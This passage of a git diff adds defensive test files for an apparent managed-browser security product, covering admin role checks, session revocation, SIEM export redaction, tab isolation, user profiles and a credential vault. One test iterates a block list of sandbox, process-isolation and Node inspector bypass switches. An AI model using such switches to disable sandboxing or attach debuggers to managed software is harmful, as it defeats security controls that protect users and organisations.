+ const f=await fixture(t),credential='synthetic-auditor-session-credential-123456789'; + f.store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:'auditor',role:'auditor',admin:true,permissions:['policy.write','bookmarks.read']})); + const headers={cookie:'sn_session='+credential,origin:f.config.publicUrl}; + for(const [method,path] of [ + ['PUT','/api/admin/policy'],['PUT','/api/admin/security/blocklists'],['POST','/api/admin/enrollments'],['POST','/api/admin/devices/fake/revoke'],['PATCH','/api/admin/devices/fake/inspection'], + ['GET','/api/admin/devices/fake/bookmarks'],['PUT','/api/admin/devices/fake/bookmarks'],['POST','/api/admin/teaching'],['POST','/api/admin/teaching/fake/publish'], + ['POST','/api/admin/semantic/reference'],['POST','/api/admin/semantic/document-reference'],['POST','/api/admin/security/visual-reference'],['POST','/api/admin/integrations/icap/probe'],['GET','/api/admin/future-endpoint'] + ])assert.equal((await f.api(path,{token:null,method,body:method==='GET'?undefined:{},headers})).status,403,path); + const overview=await f.api('/api/admin/overview',{token:null,headers});assert.equal(overview.status,200);assert.equal(overview.body.principal.admin,false);assert.equal(overview.body.principal.permissions.includes('policy.write'),false); + assert.equal((await fetch(f.base+'/api/admin/events/export?format=cef',{headers})).status,200); + assert.equal(f.store.get('policy').version,1);assert.equal(f.store.db.prepare('SELECT COUNT(*) AS n FROM enrollments').get().n,0); +}); + +test('cookie management requires same-origin mutation and expired/unknown roles cannot authenticate',async t=>{ + const f=await fixture(t),credential='synthetic-admin-session-credential-123456789'; + const put=(principal,expires=Date.now()+60000)=>f.store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(credential),expires,JSON.stringify(principal)); + put({sub:'legacy-admin',admin:true});const headers={cookie:'sn_session='+credential}; + assert.equal((await f.api('/api/admin/enrollments',{token:null,headers,body:{user:'fixture'}})).status,403); + assert.equal((await f.api('/api/admin/enrollments',{token:null,headers:{...headers,origin:f.config.publicUrl},body:{user:'fixture'}})).status,200); + assert.equal((await fetch(f.base+'/auth/logout',{method:'POST',headers})).status,403); + put({sub:'unknown',role:'superadmin',admin:true});assert.equal((await f.api('/api/admin/overview',{token:null,headers})).status,401); + put({sub:'expired',role:'admin'},Date.now()-1000);assert.equal((await f.api('/api/admin/overview',{token:null,headers})).status,401); + assert.equal(adminRoutePermission('POST','/api/admin/new-dangerous-endpoint'),null); + assert.equal(principalForGroups({sub:'u'},['auditors','operators','admins'],{oidcAdminGroup:'admins',oidcOperatorGroup:'operators',oidcAuditorGroup:'auditors'}).role,'admin'); +}); + +test('remote HTTPS management never accepts the shared bootstrap administrator token',async t=>{ + const f=await fixture(t,{publicUrl:'https://management.example.test',secure:true}); + assert.equal((await f.api('/api/admin/overview')).status,401); + assert.equal((await f.api('/api/admin/enrollments',{body:{user:'unauthorized'},headers:{origin:f.config.publicUrl}})).status,401); + const status=await fetch(f.base+'/api/auth/status');assert.equal((await status.json()).bootstrapAllowed,false); +}); + +test('operator can enroll and revoke devices but cannot change policy-backed inspection settings',async t=>{ + const f=await fixture(t),credential='synthetic-operator-session-credential-123456789'; + f.store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:'operator',role:'operator'})); + const headers={cookie:'sn_session='+credential,origin:f.config.publicUrl}; + const enrollment=await f.api('/api/admin/enrollments',{token:null,headers,body:{user:'operator-device'}});assert.equal(enrollment.status,200); + const d=await f.api('/api/device/enroll',{token:null,body:{code:enrollment.body.code,name:'Operator enrolled laptop',platform:'win32'}});assert.equal(d.status,200); + assert.equal((await f.api(`/api/admin/devices/${d.body.id}/inspection`,{token:null,headers,method:'PATCH',body:{expectedVersion:1,documentAnalysisEnabled:false}})).status,403); + assert.equal((await f.api(`/api/admin/devices/${d.body.id}/revoke`,{token:null,headers,body:{}})).status,200); + assert.equal((await f.api('/api/device/policy',{token:d.body.token})).status,401); + assert.equal(f.store.get('policy').version,1); +}); + +test('only administrators inventory opaque management sessions and revocation immediately denies existing cookies',async t=>{ + const f=await fixture(t),credentials={operator:'synthetic-operator-session-credential-123456789',auditor:'synthetic-auditor-session-credential-123456789'}; + for(const [role,credential] of Object.entries(credentials))f.store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:role,role})); + for(const credential of Object.values(credentials))assert.equal((await f.api('/api/admin/sessions',{token:null,headers:{cookie:'sn_session='+credential}})).status,403); + const inventory=await f.api('/api/admin/sessions');assert.equal(inventory.status,200);assert.equal(inventory.body.sessions.length,2); + const target=inventory.body.sessions.find(s=>s.role==='auditor');assert.match(target.id,/^[0-9a-f-]{36}$/);assert.deepEqual(Object.keys(target).sort(),['expiresAt','id','name','role','subject']); + assert.equal((await f.api('/api/admin/sessions')).body.sessions.find(s=>s.role==='auditor').id,target.id); + const encoded=JSON.stringify(inventory.body);for(const credential of Object.values(credentials)){assert.equal(encoded.includes(credential),false);assert.equal(encoded.includes(digest(credential)),false);} + assert.equal((await f.api(`/api/admin/sessions/${target.id}/revoke`,{token:null,headers:{cookie:'sn_session='+credentials.operator,origin:f.config.publicUrl},body:{}})).status,403); + assert.equal((await f.api('/api/admin/overview',{token:null,headers:{cookie:'sn_session='+credentials.auditor}})).status,200); + assert.equal((await f.api(`/api/admin/sessions/${target.id}/revoke`,{body:{}})).status,200); + assert.equal((await f.api('/api/admin/overview',{token:null,headers:{cookie:'sn_session='+credentials.auditor}})).status,401); + assert.equal((await f.api(`/api/admin/sessions/${target.id}/revoke`,{body:{}})).status,404); + assert.equal(f.store.db.prepare('SELECT COUNT(*) AS n FROM management_session_handles').get().n,1); + const event=f.store.db.prepare("SELECT metadata FROM events WHERE kind='management.session-revoked'").get();assert.deepEqual(JSON.parse(event.metadata),{actor:'bootstrap-admin',count:1}); +}); +test('SSO device ticket requires its polling secret and enrolls exactly once',async t=>{ + const f=await oidcFixture(t,['employees']); + const ticket=(await f.api('/api/device/sso/start',{token:null,body:{}})).body; + const body={id:ticket.id,secret:ticket.secret,name:'SSO laptop',platform:'darwin'}; + assert.equal((await f.api('/api/device/sso/poll',{token:null,body})).status,202); + assert.equal((await f.login(ticket.id)).status,200); + assert.equal((await f.api('/api/device/sso/poll',{token:null,body:{...body,secret:'wrong'}})).status,401); + const result=await f.api('/api/device/sso/poll',{token:null,body});assert.equal(result.status,200); + assert.equal((await f.api('/api/device/sso/poll',{token:null,body})).status,401); + assert.equal(f.store.db.prepare('SELECT user FROM devices WHERE id=?').get(result.body.id).user,'alice'); +}); +test('device audit retries deduplicate and security exports preserve cursor identity',async t=>{ + const f=await fixture(t),code=(await f.api('/api/admin/enrollments',{body:{user:'alice'}})).body.code; + const d=(await f.api('/api/device/enroll',{token:null,body:{code,name:'Alice',platform:'win32'}})).body; + const event={eventId:randomUUID(),kind:'dlp.block',ruleId:'secret',policyVersion:1}; + for(let n=0;n<2;n++)assert.equal((await f.api('/api/device/events',{token:d.token,body:event})).status,200); + assert.equal(f.store.db.prepare("SELECT count(*) AS n FROM events WHERE kind='dlp.block'").get().n,1); + const response=await fetch(f.base+'/api/admin/events/export?format=ecs',{headers:{authorization:`Bearer ${f.config.adminToken}`}}); + const events=(await response.text()).trim().split('\n').map(v=>JSON.parse(v));const block=events.find(v=>v.event.action==='dlp.block'); + assert.deepEqual(block.event.type,['denied']);assert.equal(block.event.outcome,'success');assert.equal(block.rule.id,'secret'); + assert.ok(response.headers.get('x-safetynet-next-cursor'));assert.equal(JSON.stringify(events).includes('token_hash'),false); +}); diff --git a/tests/siem.test.mjs b/tests/siem.test.mjs new file mode 100644 index 0000000..7f6d687 --- /dev/null +++ b/tests/siem.test.mjs @@ -0,0 +1,40 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { mkdtempSync,readFileSync,rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { openStore } from '../apps/server/store.mjs'; +import { startSIEM } from '../apps/server/siem.mjs'; +import { toECS,toCEF } from '../packages/core/siem.mjs'; +test('CEF escapes headers and extension delimiters; ECS excludes raw content',()=>{ + const e={id:1,time:new Date().toISOString(),device_id:'device',kind:'dlp.block',metadata:{ruleId:'a=b\nc',policyVersion:2,prompt:'must never be exported'}}; + const cef=toCEF(e,'install');assert.ok(cef.includes('cs1=a\\=b\\nc'));assert.ok(cef.startsWith('CEF:0|'));assert.equal(cef.includes('must never'),false); + const ecs=toECS(e,'install');assert.equal(ecs.event.id,'install:1');assert.equal(JSON.stringify(ecs).includes('must never'),false);assert.deepEqual(ecs.event.type,['denied']); +}); +test('durable file exporter resumes after restart and advances only written events',async t=>{ + const directory=mkdtempSync(join(tmpdir(),'safetynet-siem-')),store=openStore(directory); + let exporter;t.after(()=>{exporter?.stop();store.db.close();rmSync(directory,{recursive:true,force:true});}); + store.event('device','dlp.block',{ruleId:'secret',policyVersion:1});exporter=startSIEM(store,directory,{});await exporter.flush(); + assert.equal(exporter.status().cursor,1);exporter.stop(); + store.event(null,'policy.published',{actor:'admin',version:2});exporter=startSIEM(store,directory,{});await exporter.flush();assert.equal(exporter.status().cursor,2); + const rows=readFileSync(join(directory,'security.ndjson'),'utf8').trim().split('\n').map(v=>JSON.parse(v));assert.equal(rows.length,2);assert.notEqual(rows[0].event.id,rows[1].event.id); +}); +test('remote SIEM export refuses plaintext endpoints',t=>{ + const directory=mkdtempSync(join(tmpdir(),'safetynet-siem-')),store=openStore(directory); + t.after(()=>{store.db.close();rmSync(directory,{recursive:true,force:true});});assert.throws(()=>startSIEM(store,directory,{SIEM_HTTP_URL:'http://example.com'}),/HTTPS/); +}); + +test('ECS and CEF correlate validated trace identities without exporting arbitrary trace text',()=>{ + const e={id:1,time:new Date().toISOString(),kind:'clipboard.copy',metadata:{traceId:'1234567890abcdef1234567890abcdef',spanId:'1234567890abcdef'}}; + assert.equal(toECS(e).trace.id,e.metadata.traceId);assert.match(toCEF(e),/cs4Label=TraceId/); + e.metadata.traceId='token=synthetic-secret';e.metadata.spanId='invalid';assert.equal(toECS(e).trace,undefined);assert.equal(toCEF(e).includes('synthetic-secret'),false); +}); +test('denied agent actions and correlated Sigma alerts export durably without raw source content',async t=>{ + const directory=mkdtempSync(join(tmpdir(),'safetynet-sigma-')),store=openStore(directory);let exporter;t.after(()=>{exporter?.stop();store.db.close();rmSync(directory,{recursive:true,force:true});}); + const p=store.get('policy');p.security.sigma.rules=[{id:'agent-denial',title:'Agent denial',level:'high',detection:{selection:{kind:'agent.denied'},condition:'selection'}}];store.put('policy',p); + store.db.exec('BEGIN IMMEDIATE');store.event('device','agent.denied',{ruleId:'agent:read:blocked',policyVersion:1,prompt:'excluded raw content'});store.db.exec('COMMIT'); + const stored=store.db.prepare('SELECT * FROM events ORDER BY id').all().map(e=>({...e,metadata:JSON.parse(e.metadata)}));assert.equal(stored.length,2);assert.equal(stored[1].kind,'sigma.alert');assert.deepEqual(stored[1].metadata,{ruleId:'agent-denial',level:'high',sourceEventId:stored[0].id});assert.equal(store.db.prepare('SELECT count(*) AS n FROM alerts').get().n,1); + assert.deepEqual(toECS(stored[0],'install').event.type,['denied']);const alert=toECS(stored[1],'install');assert.equal(alert.event.kind,'alert');assert.deepEqual(alert.event.category,['intrusion_detection']);assert.deepEqual(alert.event.type,['info']);assert.equal(alert.event.severity,7);assert.equal(alert.safetynet.source_event_id,`install:${stored[0].id}`);assert.match(toCEF(stored[1],'install'),/cs2Label=SourceEventId cs2=install:1/); + exporter=startSIEM(store,directory,{});await exporter.flush();const rows=readFileSync(join(directory,'security.ndjson'),'utf8').trim().split('\n').map(JSON.parse);assert.equal(rows.length,2);assert.equal(rows[1].event.action,'sigma.alert');assert.equal(rows[1].safetynet.source_event_id,rows[0].event.id);assert.equal(JSON.stringify(rows).includes('excluded raw content'),false); + store.db.exec('BEGIN IMMEDIATE');store.event('device','agent.denied',{ruleId:'agent:read:blocked'});store.db.exec('ROLLBACK');assert.equal(store.db.prepare('SELECT count(*) AS n FROM events').get().n,2);assert.equal(store.db.prepare('SELECT count(*) AS n FROM alerts').get().n,1); +}); diff --git a/tests/startup-security.test.mjs b/tests/startup-security.test.mjs new file mode 100644 index 0000000..ba80635 --- /dev/null +++ b/tests/startup-security.test.mjs @@ -0,0 +1,23 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +const require=createRequire(import.meta.url),{assertSecureStartup,BLOCKED_SWITCHES}=require('../apps/browser/startup-security.cjs'); +const commandLine=names=>({hasSwitch:name=>new Set(names).has(name)}); +test('managed startup rejects sandbox, extension, process-isolation and debugger bypass switches',()=>{ + for(const name of BLOCKED_SWITCHES)assert.throws(()=>assertSecureStartup(commandLine([name]),[]),{message:'Unsafe browser startup configuration'},name); +}); +test('managed startup permits normal Electron options and controlled local-agent actions',()=>{ + assert.equal(assertSecureStartup(commandLine(['agent-action','agent-connection','user-data-dir','force-device-scale-factor','disable-gpu','enable-logging','lang']),[]),true); + assert.equal(assertSecureStartup(commandLine([]),['--trace-warnings','--max-old-space-size=4096']),true); +}); +test('Node-consumed inspector flags are rejected without exposing host, port or other values',()=>{ + for(const flag of ['--inspect=private.internal:9229','--inspect-brk=9229','--inspect-wait=0','--inspect-port=company-secret:5555','--debug','--debug-brk']){try{assertSecureStartup(commandLine([]),[flag]);assert.fail('Unsafe inspector flag accepted');}catch(error){assert.equal(error.message,'Unsafe browser startup configuration');assert.equal(error.message.includes(flag),false);}} +}); +test('broken command-line adapters fail closed with a static error',()=>{ + for(const adapter of [null,{}, {hasSwitch:()=>undefined},{hasSwitch:()=>{throw Error('private credential value');}}])assert.throws(()=>assertSecureStartup(adapter,[]),{message:'Unsafe browser startup configuration'}); + assert.throws(()=>assertSecureStartup(commandLine([]),null),{message:'Unsafe browser startup configuration'}); + assert.throws(()=>assertSecureStartup(commandLine([]),[{}]),{message:'Unsafe browser startup configuration'}); +}); +test('an already-active Node inspector is rejected even when no argv flag remains',()=>{ + const inspector=require('node:inspector'),original=inspector.url;try{inspector.url=()=> 'ws://private-main-debugger.internal:9229/secret';assert.throws(()=>assertSecureStartup(commandLine([]),[]),{message:'Unsafe browser startup configuration'});}finally{inspector.url=original;} +}); diff --git a/tests/tab-registry.test.mjs b/tests/tab-registry.test.mjs new file mode 100644 index 0000000..95ea21a --- /dev/null +++ b/tests/tab-registry.test.mjs @@ -0,0 +1,15 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import registry from '../apps/browser/tab-registry.cjs'; +function fixture(options={}) { + let id=0;const attached=[],detached=[],disposed=[]; + const tabs=registry.createTabRegistry({createView:()=>{const wc={id:++id,url:'https://example.test/',destroyed:false,stops:0,history:[],getURL(){return this.url;},isDestroyed(){return this.destroyed;},stop(){this.stops++;},close(){this.destroyed=true;}};return {webContents:wc,visible:false,setVisible(v){this.visible=v;}};},attach:v=>attached.push(v),detach:v=>detached.push(v),dispose:t=>disposed.push(t),...options}); + return {tabs,attached,detached,disposed}; +} +test('native views retain separate DOM/history ownership when switching',()=>{const {tabs}=fixture();const a=tabs.create(),b=tabs.create();a.view.webContents.history.push('private history A');b.view.webContents.history.push('history B');tabs.activate(b.id);tabs.activate(a.id);assert.notEqual(a.view.webContents,b.view.webContents);assert.deepEqual(a.view.webContents.history,['private history A']);assert.deepEqual(b.view.webContents.history,['history B']);assert.equal(tabs.fromContents(b.view.webContents.id),b);}); +test('foreground approval fails after switch-away-and-back even on identical URL',()=>{const {tabs}=fixture();const a=tabs.create(),b=tabs.create();tabs.resume(1);const token=tabs.context(a.id);assert.equal(tabs.current(token),true);tabs.activate(b.id);tabs.activate(a.id);assert.equal(tabs.current(token),false);}); +test('background network contexts survive switches but not navigation or policy change',()=>{const {tabs}=fixture();const a=tabs.create(),b=tabs.create();tabs.resume(1);const token=tabs.context(a.id,{foreground:false});tabs.activate(b.id);assert.equal(tabs.current(token),true);tabs.navigation(a.id);assert.equal(tabs.current(token),false);const renewed=tabs.context(a.id,{foreground:false});tabs.resume(2);assert.equal(tabs.current(renewed),false);assert.throws(()=>tabs.resume(1));}); +test('quarantine stops hidden and visible tabs, invalidates approvals and denies all old contexts',()=>{const {tabs}=fixture();const a=tabs.create(),b=tabs.create();tabs.resume(1);const tokens=[tabs.context(a.id,{foreground:false}),tabs.context(b.id,{foreground:false})];a.security.visualApproval={approved:true};b.security.visualApproval={approved:true};tabs.quarantine();for(const tab of [a,b]){assert.equal(tab.view.webContents.stops,1);assert.equal(tab.view.visible,false);assert.equal(tab.security.visualApproval,null);}tabs.resume(1);assert.equal(tokens.every(t=>!tabs.current(t)),true);}); +test('close destroys native contents and cannot revive closed tab capabilities',()=>{const {tabs,disposed}=fixture();const a=tabs.create(),b=tabs.create();tabs.resume(1);const token=tabs.context();tabs.remove(a.id);assert.equal(a.view.webContents.destroyed,true);assert.equal(tabs.current(token),false);assert.equal(tabs.active(),b);assert.equal(tabs.fromContents(a.view.webContents.id),null);tabs.close();assert.equal(b.view.webContents.destroyed,true);assert.equal(disposed.length,2);assert.throws(()=>tabs.create());}); +test('URL mutation and renderer-chosen identifiers cannot reuse native approval',()=>{const {tabs}=fixture();const a=tabs.create();tabs.resume(1);const token=tabs.context();a.view.webContents.url='https://other.test/';assert.equal(tabs.current(token),false);assert.throws(()=>tabs.activate('renderer-forged-id'));assert.equal(Object.isFrozen(token),true);assert.notEqual(a.id,'managed');}); +test('capacity is bounded before another renderer process is created',()=>{const {tabs}=fixture({maxTabs:1});tabs.create();assert.throws(()=>tabs.create(),/capacity/);assert.equal(tabs.all().length,1);}); diff --git a/tests/telemetry.test.mjs b/tests/telemetry.test.mjs new file mode 100644 index 0000000..3744ded --- /dev/null +++ b/tests/telemetry.test.mjs @@ -0,0 +1,14 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createServer } from 'node:http'; +import { startTelemetry,tracer,recordSecurityEvent } from '../apps/server/telemetry.mjs'; +test('OpenTelemetry exports traces, metrics and safe logs through OTLP HTTP',{timeout:20000},async t=>{ + const requests=[]; + const server=createServer((req,res)=>{const chunks=[];req.on('data',c=>chunks.push(c));req.on('end',()=>{requests.push({url:req.url,data:Buffer.concat(chunks)});res.setHeader('content-type','application/json');res.end('{}');});}).listen(0,'127.0.0.1'); + await new Promise(r=>server.on('listening',r));process.env.OTEL_EXPORTER_OTLP_ENDPOINT=`http://127.0.0.1:${server.address().port}`; + t.after(async()=>{delete process.env.OTEL_EXPORTER_OTLP_ENDPOINT;server.closeAllConnections();await new Promise(r=>server.close(r));}); + const sdk=startTelemetry();t.after(()=>sdk.shutdown());tracer.startActiveSpan('inspection.test',span=>{span.setAttribute('dlp.decision','block');span.end();}); + recordSecurityEvent('dlp.block',{ruleId:'test',policyVersion:1,prompt:'THIS_SECRET_MUST_NOT_APPEAR'},'event-1');await sdk.shutdown(); + for(const path of ['/v1/traces','/v1/metrics','/v1/logs'])assert.ok(requests.some(r=>r.url===path),`Missing ${path}`); + assert.equal(requests.some(r=>r.data.includes(Buffer.from('THIS_SECRET_MUST_NOT_APPEAR'))),false); +}); diff --git a/tests/transfer-facts.test.mjs b/tests/transfer-facts.test.mjs new file mode 100644 index 0000000..c582d71 --- /dev/null +++ b/tests/transfer-facts.test.mjs @@ -0,0 +1,13 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import facts from '../packages/core/transfer-facts.cjs'; +import {toECS,toCEF} from '../packages/core/siem.mjs'; +test('security file facts carry exact bytes and detected type without arbitrary content',()=>{ + const file=facts.transferFacts({bytes:123,detectedType:'pe',sha256:'a'.repeat(64)}); + const e={id:1,time:new Date().toISOString(),kind:'download.block',metadata:{file}}; + assert.equal(toECS(e).file.size,123);assert.equal(toECS(e).file.type,'pe');assert.match(toCEF(e),/cs6=pe/); + assert.throws(()=>facts.transferFacts({...file,password:'forbidden'})); + assert.throws(()=>facts.transferFacts({...file,bytes:-1})); + e.metadata.file={bytes:123,detectedType:'password=secret',sha256:'a'.repeat(64)}; + assert.equal(toECS(e).file,undefined);assert.equal(toCEF(e).includes('password=secret'),false); +}); diff --git a/tests/user-profiles.test.mjs b/tests/user-profiles.test.mjs new file mode 100644 index 0000000..55894da --- /dev/null +++ b/tests/user-profiles.test.mjs @@ -0,0 +1,16 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {openStore,digest} from '../apps/server/store.mjs'; +import {createApp} from '../apps/server/app.mjs'; +import {UserProfileSchema,applyUserProfiles} from '../packages/core/user-profiles.mjs'; +import {defaultPolicy,destinationAllowed,verifyPolicy,signPolicy} from '../packages/core/policy.mjs'; +async function fixture(t,review=false){const dir=mkdtempSync(join(tmpdir(),'safetynet-profiles-')),store=openStore(dir),origin='http://127.0.0.1:4310',server=createApp(store,{publicUrl:origin,requireIndependentPolicyApproval:review}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});for(const [id,subject]of [['one','employee'],['two','employee'],['other','other'],['forged',null]])store.db.prepare('INSERT INTO devices(id,name,user,token_hash,verified_subject) VALUES(?,?,?,?,?)').run(id,id,'employee',digest(id+'-synthetic-device-credential-123456789'),subject);async function api(path,method='GET',body,sub='author',role='admin'){const token=sub+'-synthetic-profile-session-123456789';store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(token),Date.now()+60000,JSON.stringify({sub,role}));const r=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method,headers:{cookie:`sn_session=${token}`,origin,'content-type':'application/json'},body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};}return {store,api,base:`http://127.0.0.1:${server.address().port}`};} +test('arbitrary user profiles follow verified subject across devices and never client user labels',async t=>{const f=await fixture(t),profile=UserProfileSchema.parse({id:'lab-reviewers',name:'Research reviewers',subjects:['employee'],blockedHosts:['blocked.example'],features:{downloads:'deny'}});assert.equal((await f.api('/api/admin/user-profiles/lab-reviewers','PUT',{expectedVersion:1,profile})).status,200);for(const id of ['one','two']){const p=verifyPolicy(signPolicy(f.store.effectivePolicy(id),f.store.get('keys').privateKey),f.store.publicKey());assert.equal(p.browser.allowDownloads,false);assert.equal(destinationAllowed('https://blocked.example/',p),false);assert.deepEqual(p.assignment.profiles,['lab-reviewers']);}for(const id of ['other','forged'])assert.equal(destinationAllowed('https://blocked.example/',f.store.effectivePolicy(id)),true);assert.equal((await f.api('/api/admin/user-profiles/lab-reviewers','DELETE',{expectedVersion:2})).status,200);assert.equal(destinationAllowed('https://blocked.example/',f.store.effectivePolicy('one')),true);}); +test('delegation requires explicit signed ceiling and denies win across conflicting profiles',()=>{const p=defaultPolicy(),allow=UserProfileSchema.parse({id:'developer',name:'Developer',deviceIds:['one'],features:{devTools:'allow'}}),deny=UserProfileSchema.parse({id:'restricted',name:'Restricted',deviceIds:['one'],features:{devTools:'deny'}});assert.equal(applyUserProfiles(p,{profiles:[allow]}, {id:'one'}).browser.allowDevTools,false);p.userAccess.delegatableFeatures.devTools=true;assert.equal(applyUserProfiles(p,{profiles:[allow]},{id:'one'}).browser.allowDevTools,true);assert.equal(applyUserProfiles(p,{profiles:[allow,deny]},{id:'one'}).browser.allowDevTools,false);assert.deepEqual(applyUserProfiles(p,{profiles:[allow,deny]},{id:'one'}),applyUserProfiles(p,{profiles:[deny,allow]},{id:'one'}));}); +test('domain categories and intersected host allowances fail closed for disjoint profiles',()=>{const p=defaultPolicy(),a=UserProfileSchema.parse({id:'a',name:'A',deviceIds:['one'],allowedHosts:['*.company.example'],blockedCategoryIds:['social']}),b=UserProfileSchema.parse({id:'b',name:'B',deviceIds:['one'],allowedHosts:['wiki.company.example']});const c={profiles:[a,b],categories:[{id:'social',name:'Social',hosts:['social.company.example']}]},r=applyUserProfiles(p,c,{id:'one'});assert.equal(destinationAllowed('https://wiki.company.example',r),true);assert.equal(destinationAllowed('https://social.company.example',r),false);b.allowedHosts=['other.example'];const disjoint=applyUserProfiles(p,c,{id:'one'});assert.equal(destinationAllowed('https://other.example',disjoint),false);assert.equal(destinationAllowed('https://denied.invalid',disjoint),false);}); +test('profile publication enforces independent reviewers, role permissions, CAS, snapshots and restore',async t=>{const f=await fixture(t,true),profile=UserProfileSchema.parse({id:'executive',name:'Board',deviceIds:['one'],requireDocumentScan:true});const queued=await f.api('/api/admin/user-profiles/executive','PUT',{expectedVersion:1,profile},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.getRaw('userProfiles'),null);const body={payloadHash:queued.body.payloadHash,expectedVersion:1,approve:true};assert.equal((await f.api(`/api/admin/policy-reviews/${queued.body.reviewId}/approve`,'POST',body,'operator')).status,403);assert.equal((await f.api(`/api/admin/policy-reviews/${queued.body.reviewId}/approve`,'POST',body,'reviewer')).status,200);assert.equal((await f.api('/api/admin/user-profiles/executive','PUT',{expectedVersion:1,profile})).status,409);assert.equal((await f.api('/api/admin/user-profiles/executive','DELETE',{expectedVersion:2},'auditor','auditor')).status,403);assert.equal((await f.api('/api/admin/policy/history/2')).body.userProfiles.profiles[0].id,'executive');const restore=await f.api('/api/admin/policy/restore','POST',{sourceVersion:1,expectedVersion:2,approve:true});assert.equal(restore.status,202);assert.equal((await f.api(`/api/admin/policy-reviews/${restore.body.reviewId}/approve`,'POST',{payloadHash:restore.body.payloadHash,expectedVersion:2,approve:true},'reviewer')).status,200);assert.deepEqual(f.store.getRaw('userProfiles').profiles,[]);}); + +test('enrollment cannot forge a verified SSO subject through client input or a named provisioning code',async t=>{const f=await fixture(t);const code='synthetic-provisioning-code-123456789';f.store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+60000,'employee');const r=await fetch(f.base+'/api/device/enroll',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify({code,name:'Forged label',platform:'win32',sub:'employee',verified_subject:'employee',user:'employee'})});assert.equal(r.status,200);const b=await r.json(),d=f.store.db.prepare('SELECT verified_subject,user FROM devices WHERE id=?').get(b.id);assert.equal(d.verified_subject,null);assert.equal(d.user,'employee');}); diff --git a/tests/vault.test.mjs b/tests/vault.test.mjs new file mode 100644 index 0000000..75a4e71 --- /dev/null +++ b/tests/vault.test.mjs @@ -0,0 +1,103 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import crypto from 'node:crypto'; +import { createRequire } from 'node:module'; +const { createVault, generatePassword } = createRequire(import.meta.url)('../apps/browser/vault.cjs'); +const master = 'A long separate master password 2026!'; +function fixture(t) { + const directory = fs.mkdtempSync(path.join(os.tmpdir(), 'safetynet-vault-test-')); + t.after(() => fs.rmSync(directory, { recursive: true, force: true })); + const platformKey = crypto.randomBytes(32); + const options = { filePath: path.join(directory, 'vault.json'), protect(data) { + const nonce = crypto.randomBytes(12), cipher = crypto.createCipheriv('aes-256-gcm', platformKey, nonce); + const body = Buffer.concat([cipher.update(data), cipher.final()]); + return Buffer.concat([nonce, cipher.getAuthTag(), body]); + }, unprotect(data) { + const decipher = crypto.createDecipheriv('aes-256-gcm', platformKey, data.subarray(0, 12)); + decipher.setAuthTag(data.subarray(12, 28)); return Buffer.concat([decipher.update(data.subarray(28)), decipher.final()]); + } }; + return { options, engine: createVault(options) }; +} +test('vault encrypts full metadata and roundtrips through actual ML-KEM', t => { + const { engine, options } = fixture(t); + t.after(engine.lock); + engine.create(master); + const { id } = engine.upsert({ origin: 'https://company.example', username: 'private-user-name', password: 'top-secret-credential', label: 'Confidential label' }); + const stored = fs.readFileSync(options.filePath, 'utf8'); + for (const secret of ['company.example', 'private-user-name', 'top-secret-credential', 'Confidential label', master]) assert.equal(stored.includes(secret), false); + assert.equal(Buffer.from(JSON.parse(stored).kemCiphertext, 'base64').length, 1568); + assert.equal('password' in engine.list()[0], false); + engine.lock(); assert.throws(() => engine.list()); assert.throws(() => engine.credential(id, 'https://company.example')); + engine.unlock(master); assert.deepEqual(engine.credential(id, 'https://company.example'), { username: 'private-user-name', password: 'top-secret-credential' }); + assert.throws(() => engine.credential(id, 'https://company.example:444')); + assert.throws(() => engine.credential(id, 'https://evil.example')); + assert.throws(() => engine.credential(id, 'http://company.example')); + assert.throws(() => engine.credential(id, 'https://company.example/path')); + engine.delete(id); engine.lock(); engine.unlock(master); assert.deepEqual(engine.list(), []); +}); +test('wrong master password and wrong platform factor fail closed', t => { + const { engine, options } = fixture(t); t.after(engine.lock); + engine.create(master); engine.lock(); + assert.throws(() => engine.unlock('Wrong long master password!!!'), /Vault operation refused/); + assert.equal(engine.status().locked, true); + const other = createVault({ ...options, unprotect: () => { throw new Error('DPAPI failed'); } }); + assert.throws(() => other.unlock(master), /Vault operation refused/); assert.equal(other.status().locked, true); + engine.unlock(master); assert.equal(engine.status().locked, false); +}); +test('ciphertext, header and key envelope tampering is refused', t => { + const { engine, options } = fixture(t); t.after(engine.lock); + engine.create(master); engine.lock(); const pristine = fs.readFileSync(options.filePath, 'utf8'); + for (const mutate of [record => { record.payload.ciphertext = record.payload.ciphertext.replace(/^./, char => char === 'A' ? 'B' : 'A'); }, + record => { record.vaultId = crypto.randomUUID(); }, record => { record.salt = crypto.randomBytes(32).toString('base64'); }, + record => { record.wrappedKey.tag = crypto.randomBytes(16).toString('base64'); }, record => { record.kemCiphertext = crypto.randomBytes(1568).toString('base64'); }]) { + const record = JSON.parse(pristine); mutate(record); fs.writeFileSync(options.filePath, JSON.stringify(record)); + assert.throws(() => engine.unlock(master), /Vault operation refused/); assert.equal(engine.status().locked, true); + } +}); +test('malformed oversized file and untrusted KDF parameters never weaken security', t => { + const { engine, options } = fixture(t); 